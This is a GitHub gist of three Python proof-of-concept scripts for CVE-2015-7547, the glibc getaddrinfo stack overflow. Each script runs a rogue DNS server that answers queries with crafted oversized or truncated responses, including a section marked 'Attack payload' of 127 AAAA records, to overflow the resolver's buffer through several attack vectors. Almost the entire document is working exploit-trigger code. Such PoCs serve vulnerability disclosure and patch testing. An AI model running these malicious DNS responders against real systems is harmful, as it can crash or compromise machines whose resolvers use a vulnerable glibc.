Skip to content

Instantly share code, notes, and snippets.

@vavrusa
Last active January 23, 2021 00:43
Show Gist options
  • Star 3 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save vavrusa/86efa3ac7ee89eab14c2 to your computer and use it in GitHub Desktop.
Save vavrusa/86efa3ac7ee89eab14c2 to your computer and use it in GitHub Desktop.
PoCs for CVE-2015-7547 (different attack vectors)
#!/usr/bin/python
#
# Copyright 2016 Google Inc
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# Authors:
# Fermin J. Serna <fjserna@google.com>
# Gynvael Coldwind <gynvael@google.com>
# Thomas Garnier <thgarnie@google.com>
# Marek Vavrusa <mvavrusa@cloudflare.com>
import socket
import time
import struct
import threading
IP = '127.0.0.10' # Insert your ip for bind() here...
ANSWERS1 = 184
terminate = False
def dw(x):
return struct.pack('>H', x)
def dd(x):
return struct.pack('>I', x)
def dl(x):
return struct.pack('<Q', x)
def db(x):
return chr(x)
def udp_thread():
global terminate
# Handle UDP requests
sock_udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock_udp.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock_udp.bind((IP, 53))
counter = -1
while not terminate:
data, addr = sock_udp.recvfrom(1024)
print '[UDP] Total Data len recv ' + str(len(data))
id_udp = struct.unpack('>H', data[0:2])[0]
query_udp = data[12:]
counter += 1
# Send truncated flag... so it retries over TCP
data = dw(id_udp) # id
data += dw(0x8180 | (counter % 2) * 0x0200) # flags with truncated set
data += dw(1) # questions
data += dw(126) # answers
data += dw(0) # authoritative
data += dw(0) # additional
data += query_udp # question
# A records in answer
for i in range(126):
answer = dw(0xc00c) # name compressed
answer += dw(1) # type A
answer += dw(1) # class
answer += dd(0) # ttl
answer += dw(4) # data length
answer += chr(i) * 4 # data
data += answer
# Send it right away
sock_udp.sendto(data, addr)
sock_udp.close()
def tcp_thread():
global terminate
counter = -1
#Open TCP socket
sock_tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock_tcp.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock_tcp.bind((IP, 53))
sock_tcp.listen(10)
while not terminate:
conn, addr = sock_tcp.accept()
print 'Connected with ' + addr[0] + ':' + str(addr[1])
while True:
# Read entire packet
try:
reqlen = struct.unpack('>H', conn.recv(2))[0]
except:
print '[TCP] Disconnected'
break
data = conn.recv(reqlen)
# Parse QUESTION (trim EDNS / additionals ...)
msgid = struct.unpack('>H', data[0:2])[0]
query = data[12:]
endp = 0
while query[endp] != '\x00' and endp < len(query):
endp += ord(query[endp]) + 1 # Traverse QNAME
query = query[0 : endp + 1 + 4] # +QTYPE +QCLASS
print '[TCP] Total Data len recv ' + str(len(data))
# Attack payload
data = dw(msgid) # id
data += dw(0x8180) # flags (QR, RD, AA)
data += dw(1) # questions
data += dw(127) # answers
data += dw(0) # authoritative
data += dw(0) # additional
data += query # question
# AAAA records in answer
for i in range(127):
answer = dw(0xc00c) # name compressed
answer += dw(28) # type AAAA
answer += dw(1) # class
answer += dd(0) # ttl
answer += dw(16) # data length
answer += chr(i) * 16 # data
data += answer
conn.sendall(dw(len(data)) + data)
sock_tcp.shutdown(socket.SHUT_RDWR)
sock_tcp.close()
if __name__ == "__main__":
t = threading.Thread(target=udp_thread)
t.daemon = True
t.start()
tcp_thread()
terminate = True
#!/usr/bin/python
#
# Copyright 2016 Google Inc
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# Authors:
# Fermin J. Serna <fjserna@google.com>
# Gynvael Coldwind <gynvael@google.com>
# Thomas Garnier <thgarnie@google.com>
# Marek Vavrusa <mvavrusa@cloudflare.com>
import socket
import time
import struct
import threading
IP = '127.0.0.10' # Insert your ip for bind() here...
terminate = False
def dw(x):
return struct.pack('>H', x)
def dd(x):
return struct.pack('>I', x)
def dl(x):
return struct.pack('<Q', x)
def db(x):
return chr(x)
# Respond with TC=1 to shift over TCP
# This is normal authoritative response with large payload
def udp_thread():
global terminate
# Handle UDP requests
sock_udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock_udp.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock_udp.bind((IP, 53))
while not terminate:
data, addr = sock_udp.recvfrom(1024)
print '[UDP] Total Data len recv ' + str(len(data))
id_udp = struct.unpack('>H', data[0:2])[0]
# Parse QUESTION (trim EDNS / additionals ...)
query_udp = data[12:]
endp = 0
while query_udp[endp] != '\x00' and endp < len(query_udp):
endp += ord(query_udp[endp]) + 1 # Traverse QNAME
query_udp = query_udp[0 : endp + 1 + 4] # +QTYPE +QCLASS
qtype = struct.unpack('>H', query_udp[-4:-2])[0]
# Send truncated... so it retries over TCP
data = dw(id_udp) # id
data += dw(0x8380) # flags with truncated set
data += dw(1) # questions
data += dw(0) # answers
data += dw(0) # authoritative
data += dw(0) # additional
data += query_udp # question
sock_udp.sendto(data, addr)
sock_udp.close()
def tcp_thread():
global terminate
#Open TCP socket
sock_tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock_tcp.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock_tcp.bind((IP, 53))
sock_tcp.listen(10)
counter = 0
while not terminate:
conn, addr = sock_tcp.accept()
print 'Connected with ' + addr[0] + ':' + str(addr[1])
while True:
# Read entire packet
try:
reqlen = struct.unpack('>H', conn.recv(2))[0]
except:
print '[TCP] Disconnected'
break
data = conn.recv(reqlen)
# Parse QUESTION (trim EDNS / additionals ...)
msgid = struct.unpack('>H', data[0:2])[0]
query = data[12:]
endp = 0
while query[endp] != '\x00' and endp < len(query):
endp += ord(query[endp]) + 1 # Traverse QNAME
query = query[0 : endp + 1 + 4] # +QTYPE +QCLASS
print '[TCP] Total Data len recv ' + str(len(data))
# Plan responses
counter += 1
# First two answers:
# 1. Response length > 2048
# 2. Empty response to force retry
if counter == 1:
data = dw(msgid) # id
data += dw(0x8180) # flags (QR, RD, AA)
data += dw(1) # questions
data += dw(127) # answers
data += dw(0) # authoritative
data += dw(0) # additional
data += query # question
# A records in answer
for i in range(127):
answer = dw(0xc00c) # name compressed
answer += dw(1) # type A
answer += dw(1) # class
answer += dd(0) # ttl
answer += dw(4) # data length
answer += chr(i) * 4 # data
data += answer
elif counter == 2:
print '[TCP] Severing connection to retry'
data = ''
# Second stage
# 3. Any valid response
# 4. Attack payload
elif counter == 3:
data = dw(msgid) # id
data += dw(0x8180) # flags (QR, RD, AA)
data += dw(1) # questions
data += dw(0) # answers
data += dw(0) # authoritative
data += dw(0) # additional
data += query # question
elif counter == 4:
data = dw(msgid) # id
data += dw(0x8180) # flags (QR, RD, AA)
data += dw(1) # questions
data += dw(127) # answers
data += dw(0) # authoritative
data += dw(0) # additional
data += query # question
# AAAA records in answer
for i in range(127):
answer = dw(0xc00c) # name compressed
answer += dw(28) # type AAAA
answer += dw(1) # class
answer += dd(0) # ttl
answer += dw(16) # data length
answer += chr(i) * 16 # data
data += answer
conn.sendall(dw(len(data)) + data)
sock_tcp.close()
if __name__ == "__main__":
t = threading.Thread(target=udp_thread)
t.daemon = True
t.start()
tcp_thread()
terminate = True
#!/usr/bin/python
#
# Copyright 2016 Google Inc
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# Authors:
# Fermin J. Serna <fjserna@google.com>
# Gynvael Coldwind <gynvael@google.com>
# Thomas Garnier <thgarnie@google.com>
# Marek Vavrusa <mvavrusa@cloudflare.com>
import socket
import time
import struct
IP = '127.0.0.10' # Insert your ip for bind() here...
def dw(x):
return struct.pack('>H', x)
def dd(x):
return struct.pack('>I', x)
def dl(x):
return struct.pack('<Q', x)
def db(x):
return chr(x)
def udp_thread():
# Handle UDP requests
sock_udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock_udp.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock_udp.bind((IP, 53))
# Respond with random 2k responses
while True:
data, addr = sock_udp.recvfrom(1024)
print '[UDP] Total Data len recv ' + str(len(data))
id_udp = struct.unpack('>H', data[0:2])[0]
# Parse QUESTION (trim EDNS / additionals ...)
query_udp = data[12:]
endp = 0
while query_udp[endp] != '\x00' and endp < len(query_udp):
endp += ord(query_udp[endp]) + 1 # Traverse QNAME
query_udp = query_udp[0 : endp + 1 + 4] # +QTYPE +QCLASS
# Send large response (not truncated, violating 512B limit)
data = dw(id_udp) # id
data += dw(0x8180) # flags (QR, RD, AA)
data += dw(1) # questions
data += dw(124) # answers
data += dw(0) # authoritative
data += dw(1) # additional
data += query_udp # question
# A records in answer
for i in range(124):
answer = dw(0xc00c) # name compressed
answer += dw(1) # type A
answer += dw(1) # class
answer += dd(0) # ttl
answer += dw(4) # data length
answer += chr(i) * 4 # data
data += answer
# Extra TXT in additionals to pad it to 2048 octets
answer = dw(0xc00c) # name compressed
answer += dw(16) # type TXT
answer += dw(1) # class
answer += dd(0) # ttl
answer += dw(16) # data length
answer += chr(15) # TXT length
answer += 'D' * 15 # data
data += answer
print('[UDP] Total Data len sent ' + str(len(data)))
sock_udp.sendto(data, addr)
sock_udp.close()
if __name__ == "__main__":
udp_thread()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment